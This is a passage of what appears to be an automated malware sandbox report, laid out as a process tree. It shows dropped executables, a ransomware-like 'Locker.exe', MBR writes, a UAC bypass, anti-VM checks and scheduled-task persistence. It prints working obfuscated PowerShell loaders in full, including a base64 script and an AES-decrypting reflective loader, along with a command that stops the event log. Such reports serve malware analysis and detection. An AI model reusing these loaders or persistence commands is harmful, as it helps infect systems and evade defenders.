                      "C:\Program Files (x86)\Microsoft Jufbhx\Jufrxnb.exe"
                      3⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2084
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 2084 -s 392
                        4⤵
                        • Program crash
                        PID:2212
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -u -p 4544 -s 1064
                      3⤵
                      • Program crash
                      PID:4580
                  • C:\Users\Admin\AppData\Local\Temp\a\crypted_097f1784.exe
                    "C:\Users\Admin\AppData\Local\Temp\a\crypted_097f1784.exe"
                    2⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    PID:5032
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                      3⤵
                        PID:2188
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 5032 -s 796
                        3⤵
                        • Program crash
                        PID:5336
                    • C:\Users\Admin\AppData\Local\Temp\a\june.exe
                      "C:\Users\Admin\AppData\Local\Temp\a\june.exe"
                      2⤵
                      • Executes dropped EXE
                      PID:5176
                      • C:\Users\Admin\AppData\Local\Temp\is-9H69J.tmp\june.tmp
                        "C:\Users\Admin\AppData\Local\Temp\is-9H69J.tmp\june.tmp" /SL5="$60278,4053053,54272,C:\Users\Admin\AppData\Local\Temp\a\june.exe"
                        3⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:5296
                        • C:\Users\Admin\AppData\Local\Sun Vox\sunvox32.exe
                          "C:\Users\Admin\AppData\Local\Sun Vox\sunvox32.exe" -i
                          4⤵
                          • Executes dropped EXE
                          PID:5596
                        • C:\Users\Admin\AppData\Local\Sun Vox\sunvox32.exe
                          "C:\Users\Admin\AppData\Local\Sun Vox\sunvox32.exe" -s
                          4⤵
                          • Executes dropped EXE
                          PID:5688
                    • C:\Users\Admin\AppData\Local\Temp\a\crypted_33cb9091.exe
                      "C:\Users\Admin\AppData\Local\Temp\a\crypted_33cb9091.exe"
                      2⤵
                      • Executes dropped EXE
                      • Suspicious use of SetThreadContext
                      PID:5900
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                        3⤵
                          PID:5124
                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                          3⤵
                            PID:5144
                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                            3⤵
                              PID:5152
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -u -p 5900 -s 804
                              3⤵
                              • Program crash
                              PID:5196
                          • C:\Users\Admin\AppData\Local\Temp\a\new.exe
                            "C:\Users\Admin\AppData\Local\Temp\a\new.exe"
                            2⤵
                            • Executes dropped EXE
                            • Suspicious use of SetThreadContext
                            PID:5980
                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                              3⤵
                                PID:6104
                            • C:\Users\Admin\AppData\Local\Temp\a\ttt01.exe
                              "C:\Users\Admin\AppData\Local\Temp\a\ttt01.exe"
                              2⤵
                              • Executes dropped EXE
                              • Writes to the Master Boot Record (MBR)
                              PID:744
                            • C:\Users\Admin\AppData\Local\Temp\a\123p.exe
                              "C:\Users\Admin\AppData\Local\Temp\a\123p.exe"
                              2⤵
                              • Executes dropped EXE
                              PID:5924
                              • C:\Windows\system32\powercfg.exe
                                C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                3⤵
                                • Suspicious use of AdjustPrivilegeToken
                                PID:4972
                              • C:\Windows\system32\powercfg.exe
                                C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                3⤵
                                • Suspicious use of AdjustPrivilegeToken
                                PID:5360
                              • C:\Windows\system32\powercfg.exe
                                C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                3⤵
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2528
                              • C:\Windows\system32\powercfg.exe
                                C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                3⤵
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2876
                              • C:\Windows\system32\sc.exe
                                C:\Windows\system32\sc.exe delete "OBGPQMHF"
                                3⤵
                                • Launches sc.exe
                                PID:3492
                              • C:\Windows\system32\sc.exe
                                C:\Windows\system32\sc.exe create "OBGPQMHF" binpath= "C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe" start= "auto"
                                3⤵
                                • Launches sc.exe
                                PID:1384
                              • C:\Windows\system32\sc.exe
                                C:\Windows\system32\sc.exe stop eventlog
                                3⤵
                                • Launches sc.exe
                                PID:4928
                              • C:\Windows\system32\sc.exe
                                C:\Windows\system32\sc.exe start "OBGPQMHF"
                                3⤵
                                • Launches sc.exe
                                PID:2784
                            • C:\Users\Admin\AppData\Local\Temp\a\IjerkOff.exe
                              "C:\Users\Admin\AppData\Local\Temp\a\IjerkOff.exe"
                              2⤵
                              • Checks computer location settings
                              • Executes dropped EXE
                              • Modifies registry class
                              PID:6088
                              • C:\Windows\SysWOW64\WScript.exe
                                "C:\Windows\System32\WScript.exe" "C:\BlockComponentwebMonitordhcp\AbAw8xfGFsmxdxvuwvbKubDJeV.vbe"
                                3⤵
                                • Checks computer location settings
                                PID:1408
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /c ""C:\BlockComponentwebMonitordhcp\8H5kf2bUK2r.bat" "
                                  4⤵
                                    PID:4088
                                    • C:\BlockComponentwebMonitordhcp\agentDllDhcp.exe
                                      "C:\BlockComponentwebMonitordhcp\agentDllDhcp.exe"
                                      5⤵
                                      • Checks computer location settings
                                      • Drops file in Program Files directory
                                      • Drops file in Windows directory
                                      • Modifies registry class
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:5412
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\yCrQFVXhRn.bat"
                                        6⤵
                                          PID:5532
                                          • C:\Windows\system32\w32tm.exe
                                            w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                                            7⤵
                                              PID:5484
                                            • C:\Users\Admin\Recent\dwm.exe
                                              "C:\Users\Admin\Recent\dwm.exe"
                                              7⤵
                                                PID:6020
                                    • C:\Users\Admin\AppData\Local\Temp\a\ISetup1.exe
                                      "C:\Users\Admin\AppData\Local\Temp\a\ISetup1.exe"
                                      2⤵
                                      • Checks computer location settings
                                      • Executes dropped EXE
                                      PID:2320
                                      • C:\Users\Admin\AppData\Local\Temp\u1sg.0.exe
                                        "C:\Users\Admin\AppData\Local\Temp\u1sg.0.exe"
                                        3⤵
                                          PID:5408
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 5408 -s 1288
                                            4⤵
                                            • Program crash
                                            PID:5508
                                        • C:\Users\Admin\AppData\Local\Temp\u1sg.1.exe
                                          "C:\Users\Admin\AppData\Local\Temp\u1sg.1.exe"
                                          3⤵
                                          • Checks SCSI registry key(s)
                                          • Suspicious use of FindShellTrayWindow
                                          • Suspicious use of SendNotifyMessage
                                          PID:1876
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 2320 -s 1152
                                          3⤵
                                          • Program crash
                                          PID:5040
                                      • C:\Users\Admin\AppData\Local\Temp\a\diufhloadme.exe
                                        "C:\Users\Admin\AppData\Local\Temp\a\diufhloadme.exe"
                                        2⤵
                                        • Suspicious use of SetThreadContext
                                        PID:2092
                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
                                          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
                                          3⤵
                                            PID:5636
                                          • C:\Windows\SYSTEM32\cmd.exe
                                            "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\grhgjhjh"
                                            3⤵
                                              PID:5820
                                            • C:\Windows\SYSTEM32\cmd.exe
                                              "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe'" /f
                                              3⤵
                                                PID:2880
                                                • C:\Windows\system32\schtasks.exe
                                                  schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe'" /f
                                                  4⤵
                                                  • DcRat
                                                  • Creates scheduled task(s)
                                                  PID:5872
                                              • C:\Windows\SYSTEM32\cmd.exe
                                                "cmd" /c copy "C:\Users\Admin\AppData\Local\Temp\a\diufhloadme.exe" "C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe"
                                                3⤵
                                                  PID:5016
                                              • C:\Users\Admin\AppData\Local\Temp\a\ghhjhjhsg.exe
                                                "C:\Users\Admin\AppData\Local\Temp\a\ghhjhjhsg.exe"
                                                2⤵
                                                  PID:2324
                                                  • C:\Windows\SYSTEM32\schtasks.exe
                                                    "schtasks" /create /tn "hgfhjjhgj" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\ghghghfg\gfhgfgjgf.exe" /rl HIGHEST /f
                                                    3⤵
                                                    • DcRat
                                                    • Creates scheduled task(s)
                                                    PID:940
                                                  • C:\Users\Admin\AppData\Roaming\ghghghfg\gfhgfgjgf.exe
                                                    "C:\Users\Admin\AppData\Roaming\ghghghfg\gfhgfgjgf.exe"
                                                    3⤵
                                                      PID:5332
                                                      • C:\Windows\SYSTEM32\schtasks.exe
                                                        "schtasks" /create /tn "hgfhjjhgj" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\ghghghfg\gfhgfgjgf.exe" /rl HIGHEST /f
                                                        4⤵
                                                        • DcRat
                                                        • Creates scheduled task(s)
                                                        PID:5824
                                                  • C:\Users\Admin\AppData\Local\Temp\a\crypt.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\a\crypt.exe"
                                                    2⤵
                                                      PID:3944
                                                      • C:\Windows\SysWOW64\wscript.exe
                                                        "wscript.exe" "C:\Users\Admin\start.vbs"
                                                        3⤵
                                                        • Checks computer location settings
                                                        PID:1408
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\temp.bat" "
                                                          4⤵
                                                            PID:5896
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KDQokZW5jb2RlZEFycmF5ID0gQCgxNTksMjIwLDIzOCwyMzgsMjI0LDIzMiwyMjEsMjMxLDI0NCwxNjksMTkyLDIzMywyMzksMjM3LDI0NCwyMDMsMjM0LDIyOCwyMzMsMjM5LDE2OSwxOTYsMjMzLDI0MSwyMzQsMjMwLDIyNCwxNjMsMTU5LDIzMywyNDAsMjMxLDIzMSwxNjcsMTU5LDIzMywyNDAsMjMxLDIzMSwxNjQsMTgyKQ0KJGRlY29kZWRTdHJpbmcgPSBDb252ZXJ0LUFzY2lpVG9TdHJpbmcgJGVuY29kZWRBcnJheQ0KDQoNCiRmaWxlUGF0aCA9IEpvaW4tUGF0aCAkZW52OlVzZXJQcm9maWxlICJleHBsb3Jlci5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\explorer.ps1' -Encoding UTF8"
                                                              5⤵
                                                                PID:5664
                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\explorer.ps1"
                                                                5⤵
                                                                • Drops startup file
                                                                • Suspicious use of SetThreadContext
                                                                PID:5556
                                                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                  6⤵
                                                                    PID:5192
                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                    6⤵
                                                                      PID:5996
                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                      6⤵
                                                                        PID:5932
                                                              • C:\Users\Admin\AppData\Local\Temp\a\Opera_109.0.5097.38_Autoupdate_x64.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\a\Opera_109.0.5097.38_Autoupdate_x64.exe"
                                                                2⤵
                                                                  PID:4528
                                                                • C:\Users\Admin\AppData\Local\Temp\a\crypted_69a30000.exe
                                                                  "C:\Users\Admin\AppData\Local\Temp\a\crypted_69a30000.exe"
                                                                  2⤵
                                                                  • Suspicious use of SetThreadContext
                                                                  PID:4284
                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                    3⤵
                                                                      PID:5752
                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                      3⤵
                                                                        PID:2812
                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4284 -s 140
                                                                        3⤵
                                                                        • Program crash
                                                                        PID:3616
                                                                    • C:\Users\Admin\AppData\Local\Temp\a\Pgp-Soft.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\a\Pgp-Soft.exe"
                                                                      2⤵
                                                                      • Checks computer location settings
                                                                      PID:5660
                                                                    • C:\Users\Admin\AppData\Local\Temp\a\garits.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\a\garits.exe"
                                                                      2⤵
                                                                      • UAC bypass
                                                                      • System policy modification
                                                                      PID:3532
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
                                                                        "Powershell.exe" -exec bypass -c Copy-Item 'C:\Users\Admin\AppData\Local\Temp\a\garits.exe' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\garits.exe' -Force
                                                                        3⤵
                                                                          PID:3524
                                                                      • C:\Users\Admin\AppData\Local\Temp\a\current.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\a\current.exe"
                                                                        2⤵
                                                                          PID:6100
                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 6100 -s 388
                                                                            3⤵
                                                                            • Program crash
                                                                            PID:5584
                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 6100 -s 1108
                                                                            3⤵
                                                                            • Program crash
                                                                            PID:528
                                                                        • C:\Users\Admin\AppData\Local\Temp\a\test.exe
                                                                          "C:\Users\Admin\AppData\Local\Temp\a\test.exe"
                                                                          2⤵
                                                                            PID:5260
                                                                          • C:\Users\Admin\AppData\Local\Temp\a\123.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\a\123.exe"
                                                                            2⤵
                                                                              PID:2576
                                                                            • C:\Users\Admin\AppData\Local\Temp\a\sarra.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\a\sarra.exe"
                                                                              2⤵
                                                                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                              • Checks BIOS information in registry
                                                                              • Identifies Wine through registry keys
                                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                              PID:2380
                                                                            • C:\Users\Admin\AppData\Local\Temp\a\JSIDBWSJK.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\a\JSIDBWSJK.exe"
                                                                              2⤵
                                                                              • Checks computer location settings
                                                                              PID:2116
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpF31C.tmp.bat" "
                                                                                3⤵
                                                                                  PID:5488
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\tmpF31C.tmp.bat"
                                                                                    4⤵
                                                                                      PID:1208
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\tmpF31C.tmp.bat';$IKhK='MahibHihibHnhibHModhibHulhibHehibH'.Replace('hibH', ''),'GetQgnnCuQgnnrrQgnneQgnnntPQgnnroQgnnceQgnnsQgnnsQgnn'.Replace('Qgnn', ''),'EleVKaqmVKaqeVKaqntVKaqAtVKaq'.Replace('VKaq', ''),'ReaXrSRdLiXrSRnXrSResXrSR'.Replace('XrSR', ''),'DeDwcdcDwcdomDwcdpDwcdreDwcdsDwcdsDwcd'.Replace('Dwcd', ''),'CVrqZreaVrqZtVrqZeVrqZDVrqZecVrqZryVrqZptoVrqZrVrqZ'.Replace('VrqZ', ''),'ChXNvfaXNvfnXNvfgXNvfeEXNvfxteXNvfnsXNvfiXNvfonXNvf'.Replace('XNvf', ''),'SpHdEMlitHdEM'.Replace('HdEM', ''),'EnFMIKtFMIKryFMIKPFMIKoiFMIKntFMIK'.Replace('FMIK', ''),'CCPxDopCPxDyCPxDToCPxD'.Replace('CPxD', ''),'InLeisvLeisokLeiseLeis'.Replace('Leis', ''),'TzEulranzEulszEulfzEulorzEulmzEulFzEulinzEulazEullBzEullozEulckzEul'.Replace('zEul', ''),'LMYvEoMYvEaMYvEdMYvE'.Replace('MYvE', ''),'FrgPovomgPovBgPovagPovsgPove64gPovStgPovrgPovigPovnggPov'.Replace('gPov', '');powershell -w hidden;function Wjvpz($DSMeA){$LRUPP=[System.Security.Cryptography.Aes]::Create();$LRUPP.Mode=[System.Security.Cryptography.CipherMode]::CBC;$LRUPP.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$LRUPP.Key=[System.Convert]::($IKhK[13])('hbO8R88HBl6x9E1ChjrqAUcnoAC3B8p99JSIvXSwQuY=');$LRUPP.IV=[System.Convert]::($IKhK[13])('5zVFVvVJKQyl6Cns03Obiw==');$folEv=$LRUPP.($IKhK[5])();$SLWGx=$folEv.($IKhK[11])($DSMeA,0,$DSMeA.Length);$folEv.Dispose();$LRUPP.Dispose();$SLWGx;}function TImJD($DSMeA){$gpnDG=New-Object System.IO.MemoryStream(,$DSMeA);$hLGlZ=New-Object System.IO.MemoryStream;$KsXZc=New-Object System.IO.Compression.GZipStream($gpnDG,[IO.Compression.CompressionMode]::($IKhK[4]));$KsXZc.($IKhK[9])($hLGlZ);$KsXZc.Dispose();$gpnDG.Dispose();$hLGlZ.Dispose();$hLGlZ.ToArray();}$Ewgsd=[System.IO.File]::($IKhK[3])([Console]::Title);$WuYWe=TImJD (Wjvpz ([Convert]::($IKhK[13])([System.Linq.Enumerable]::($IKhK[2])($Ewgsd, 5).Substring(2))));$NZPxf=TImJD (Wjvpz ([Convert]::($IKhK[13])([System.Linq.Enumerable]::($IKhK[2])($Ewgsd, 6).Substring(2))));[System.Reflection.Assembly]::($IKhK[12])([byte[]]$NZPxf).($IKhK[8]).($IKhK[10])($null,$null);[System.Reflection.Assembly]::($IKhK[12])([byte[]]$WuYWe).($IKhK[8]).($IKhK[10])($null,$null); "
                                                                                        5⤵
                                                                                          PID:4588
                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                          5⤵
                                                                                            PID:1368
                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                                                                                              6⤵
                                                                                                PID:6036
                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\tmpF31C.tmp')
                                                                                                6⤵
                                                                                                  PID:3500
                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 36344' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Network36344Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
                                                                                                  6⤵
                                                                                                    PID:4748
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Roaming\Network36344Man.cmd"
                                                                                                    6⤵
                                                                                                      PID:2824
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Network36344Man.cmd"
                                                                                                        7⤵
                                                                                                          PID:1944
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\Network36344Man.cmd';$IKhK='MahibHihibHnhibHModhibHulhibHehibH'.Replace('hibH', ''),'GetQgnnCuQgnnrrQgnneQgnnntPQgnnroQgnnceQgnnsQgnnsQgnn'.Replace('Qgnn', ''),'EleVKaqmVKaqeVKaqntVKaqAtVKaq'.Replace('VKaq', ''),'ReaXrSRdLiXrSRnXrSResXrSR'.Replace('XrSR', ''),'DeDwcdcDwcdomDwcdpDwcdreDwcdsDwcdsDwcd'.Replace('Dwcd', ''),'CVrqZreaVrqZtVrqZeVrqZDVrqZecVrqZryVrqZptoVrqZrVrqZ'.Replace('VrqZ', ''),'ChXNvfaXNvfnXNvfgXNvfeEXNvfxteXNvfnsXNvfiXNvfonXNvf'.Replace('XNvf', ''),'SpHdEMlitHdEM'.Replace('HdEM', ''),'EnFMIKtFMIKryFMIKPFMIKoiFMIKntFMIK'.Replace('FMIK', ''),'CCPxDopCPxDyCPxDToCPxD'.Replace('CPxD', ''),'InLeisvLeisokLeiseLeis'.Replace('Leis', ''),'TzEulranzEulszEulfzEulorzEulmzEulFzEulinzEulazEullBzEullozEulckzEul'.Replace('zEul', ''),'LMYvEoMYvEaMYvEdMYvE'.Replace('MYvE', ''),'FrgPovomgPovBgPovagPovsgPove64gPovStgPovrgPovigPovnggPov'.Replace('gPov', '');powershell -w hidden;function Wjvpz($DSMeA){$LRUPP=[System.Security.Cryptography.Aes]::Create();$LRUPP.Mode=[System.Security.Cryptography.CipherMode]::CBC;$LRUPP.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$LRUPP.Key=[System.Convert]::($IKhK[13])('hbO8R88HBl6x9E1ChjrqAUcnoAC3B8p99JSIvXSwQuY=');$LRUPP.IV=[System.Convert]::($IKhK[13])('5zVFVvVJKQyl6Cns03Obiw==');$folEv=$LRUPP.($IKhK[5])();$SLWGx=$folEv.($IKhK[11])($DSMeA,0,$DSMeA.Length);$folEv.Dispose();$LRUPP.Dispose();$SLWGx;}function TImJD($DSMeA){$gpnDG=New-Object System.IO.MemoryStream(,$DSMeA);$hLGlZ=New-Object System.IO.MemoryStream;$KsXZc=New-Object System.IO.Compression.GZipStream($gpnDG,[IO.Compression.CompressionMode]::($IKhK[4]));$KsXZc.($IKhK[9])($hLGlZ);$KsXZc.Dispose();$gpnDG.Dispose();$hLGlZ.Dispose();$hLGlZ.ToArray();}$Ewgsd=[System.IO.File]::($IKhK[3])([Console]::Title);$WuYWe=TImJD (Wjvpz ([Convert]::($IKhK[13])([System.Linq.Enumerable]::($IKhK[2])($Ewgsd, 5).Substring(2))));$NZPxf=TImJD (Wjvpz ([Convert]::($IKhK[13])([System.Linq.Enumerable]::($IKhK[2])($Ewgsd, 6).Substring(2))));[System.Reflection.Assembly]::($IKhK[12])([byte[]]$NZPxf).($IKhK[8]).($IKhK[10])($null,$null);[System.Reflection.Assembly]::($IKhK[12])([byte[]]$WuYWe).($IKhK[8]).($IKhK[10])($null,$null); "
                                                                                                            8⤵
                                                                                                              PID:3648
                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                              8⤵
                                                                                                                PID:4544
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\a\Locker.exe
                                                                                                    "C:\Users\Admin\AppData\Local\Temp\a\Locker.exe"
                                                                                                    2⤵
